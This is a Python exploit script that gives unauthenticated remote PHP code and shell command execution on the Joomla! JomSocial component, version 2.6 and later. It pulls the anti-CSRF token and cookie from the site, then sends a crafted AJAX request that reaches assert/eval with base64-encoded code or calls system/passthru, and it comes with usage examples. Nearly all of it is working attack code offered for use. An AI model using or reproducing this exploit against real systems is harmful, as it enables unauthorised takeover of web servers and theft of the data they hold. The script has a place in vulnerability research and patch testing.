#!/usr/bin/python # # Joomla! JomSocial component >= 2.6 PHP code execution exploit # # Authors: # - Matias Fontanini # - Gaston Traberg # # This exploit allows the execution of PHP code without any prior # authentication on the Joomla! JomSocial component. # # Note that in order to be able to execute PHP code, both the "eval" # and "assert" functions must be enabled. It is also possible to execute # arbitrary PHP functions, without using them. Therefore, it is possible # to execute shell commands using "system", "passthru", etc, as long # as they are enabled. # # Examples: # # Execute PHP code: # ./exploit.py -u http://example.com/index.php -p "echo 'Hello World!';" # ./exploit.py -u http://example.com/index.php -p /tmp/script_to_execute.php # # Execute shell commands(using system()): # ./exploit.py -u http://example.com/index.php -s "netstat -n" # # Exploit shell commands(using a user provided function, passthru in this case) # ./exploit.py -u http://example.com/joomla/index.php -s "netstat -natp" -c passthru # # Exploit execution example: # $ python exploit.py -u http://example.com/index.php -p 'var_dump("Hello World!");' # [i] Retrieving cookies and anti-CSRF token... Done # [+] Executing PHP code... # string(12) "Hello World!" import urllib, urllib2, re, argparse, sys, os class Exploit: token_request_data = 'option=com_community&view=frontpage' exploit_request_data = 'option=community&no_html=1&task=azrul_ajax&func=photos,ajaxUploadAvatar&{0}=1&arg2=["_d_","Event"]&arg3=["_d_","374"]&arg4=["_d_","{1}"]' json_data = '{{"call":["CStringHelper","escape", "{1}","{0}"]}}' def __init__(self, url, user_agent = None, use_eval = True): self.url = url self._set_user_agent(user_agent) self.use_eval = use_eval self.token_regex = re.compile('') self.cookie, self.token = self._retrieve_token() self.result_regex = re.compile('method=\\\\"POST\\\\" enctype=\\\\"multipart\\\\/form-data\\\\">
(.*)
', re.DOTALL) self.command_regex = re.compile('(.*)\\[\\["as","ajax_calls","d",""\\]', re.DOTALL) def _set_user_agent(self, user_agent): self.user_agent = user_agent def _make_opener(self, add_cookie = True): opener = urllib2.build_opener() if add_cookie: opener.addheaders.append(('Cookie', self.cookie)) opener.addheaders.append(('Referer', self.url)) if self.user_agent: opener.addheaders.append(('User-Agent', self.user_agent)) return opener def _retrieve_token(self): opener = self._make_opener(False) sys.stdout.write('[i] Retrieving cookies and anti-CSRF token... ') sys.stdout.flush() req = opener.open(self.url, Exploit.token_request_data) data = req.read() token = self.token_regex.findall(data) if len(token) < 1: print 'Failed' raise Exception("Could not retrieve anti-CSRF token") print 'Done' return (req.headers['Set-Cookie'], token[0]) def _do_call_function(self, function, parameter): parameter = parameter.replace('"', '\\"') json_data = Exploit.json_data.format(function, parameter) json_data = urllib2.quote(json_data) data = Exploit.exploit_request_data.format(self.token, json_data) opener = self._make_opener() req = opener.open(self.url, data) if function == 'assert': return req.read() elif function in ['system', 'passthru']: result = self.command_regex.findall(req.read()) if len(result) == 1: return result[0] else: return "[+] Error executing command." else: result = self.result_regex.findall(req.read()) if len(result) == 1: return result[0].replace('\\/', '/').replace('\\"', '"').replace('\\n', '\n') else: return "[+] Error executing command." def call_function(self, function, parameter): if self.use_eval: return self.eval("echo {0}('{1}')".format(function, parameter)) else: return self._do_call_function(function, parameter) def disabled_functions(self): return self.call_function("ini_get", "disable_functions") def test_injection(self): result = self.eval("echo 'HELLO' . ' - ' . 'WORLD';") if 'HELLO - WORLD' in result: print "[+] Code injection using eval works" else: print "[+] Code injection doesn't work. Try executing shell commands." def eval(self, code): if code [-1] != ';': code = code + ';' return self._do_call_function('assert', "@exit(@eval(@base64_decode('{0}')));".format(code.encode('base64').replace('\n', ''))) parser = argparse.ArgumentParser( description="JomSocial >= 2.6 - Code execution exploit" ) parser.add_argument('-u', '--url', help='the base URL', required=True) parser.add_argument( '-p', '--php-code', help='the PHP code to execute. Use \'-\' to read from stdin, or provide a file path to read from') parser.add_argument('-s', '--shell-command', help='the shell command to execute') parser.add_argument('-c', '--shell-function', help='the PHP function to use when executing shell commands', default="system") parser.add_argument('-t', '--test', action='store_true', help='test the PHP code injection using eval', default=False) parser.add_argument('-n', '--no-eval', action='store_false', help='don\'t use eval when executing shell commands', default=True) args = parser.parse_args() if not args.test and not args.php_code and not args.shell_command: print '[-] Need -p, -t or -s to do something...' exit(1) url = args.url try: if not url.startswith('http://') and not url.startswith('https://'): url = 'http://' + url exploit = Exploit(url, use_eval=args.no_eval) if args.test: exploit.test_injection() elif args.php_code: code = args.php_code if args.php_code == '-': print '[i] Enter the code to be executed:' code = sys.stdin.read() elif os.path.isfile(code): try: fd = open(code) code = fd.read() fd.close() except Exception: print "[-] Error reading the file." exit(1) print '[+] Executing PHP code...' print exploit.eval(code) elif args.shell_command: print exploit.call_function(args.shell_function, args.shell_command) except Exception as ex: print '[+] Error: ' + str(ex)